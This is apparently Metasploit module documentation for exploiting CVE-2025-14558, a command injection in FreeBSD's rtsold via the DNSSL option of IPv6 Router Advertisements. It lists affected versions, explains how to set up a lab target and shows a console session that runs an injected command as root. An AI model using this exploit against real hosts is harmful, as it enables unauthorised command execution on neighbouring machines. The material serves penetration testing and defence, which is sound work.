Rtsold Dnssl Cmdinject

Vulnerable Application

This module exploits CVE-2025-14558, a command injection vulnerability in FreeBSD's rtsol(8) and rtsold(8) programs. The DNSSL option in IPv6 Router Advertisement messages is passed to resolvconf(8) without sanitization, allowing command injection.

All FreeBSD versions are affected unless the system has received the security fixes released on 2025-12-16.

The first non-vulnerable releases are:

• 15.0-RELEASE-p1
• 14.3-RELEASE-p7
• 13.5-RELEASE-p8

All earlier and legacy FreeBSD versions remain vulnerable.

Vulnerable versions can be downloaded from the FreeBSD archive.

To configure a vulnerable target:

1. Install FreeBSD (unpatched version)
2. Enable IPv6 Router Advertisement (Replace Interface Name with your interface):

sysrc ifconfig_em0_ipv6="inet6 accept_rtadv"

3. Reboot or start services manually
4. Verify with ifconfig em0 | grep ACCEPT_RTADV

Verification Steps

1. Install FreeBSD (unpatched) and configure rtsold as above
2. Start msfconsole on attacker (same network segment)
3. Do: use exploit/freebsd/misc/rtsold_dnssl_cmdinject
4. Do: set CMD touch /tmp/pwned
5. Do: set INTERFACE eth0
6. Do: exploit
7. On target, verify file exists: ls -la /tmp/pwned

Options

INTERFACE

Network interface for sending RA packets. Must be on same Layer 2 segment as target. Defaults to first available interface if not set.

COUNT

Number of RA packets to send. Default: 3. Increase for unreliable networks.

DELAY

Delay between packets in milliseconds. Default: 1000.

Scenarios

FreeBSD 14.3-RELEASE Command Execution

msf6 > use exploit/freebsd/misc/rtsold_dnssl_cmdinject
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > set CMD touch /tmp/pwned
CMD => touch /tmp/pwned
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > set INTERFACE eth0
INTERFACE => eth0
msf6 exploit(freebsd/misc/rtsold_dnssl_cmdinject) > exploit

[*] Sending 3 Router Advertisement(s) with DNSSL payload...
[+] Router Advertisement(s) sent successfully
[*] Exploit completed, but no session was created.

Verify on target:

root@freebsd:~ # ls -la /tmp/pwned
-rw-r--r--  1 root  wheel  0 Dec 21 16:00 /tmp/pwned

Troubleshooting:

If the exploit doesn't work:

• Verify target has ACCEPT_RTADV: ifconfig | grep ACCEPT_RTADV
• Verify rtsold running with -s: ps aux | grep rtsold
• Verify Layer 2 adjacency (RA messages are not routed)
• Run msfconsole as root for pcap access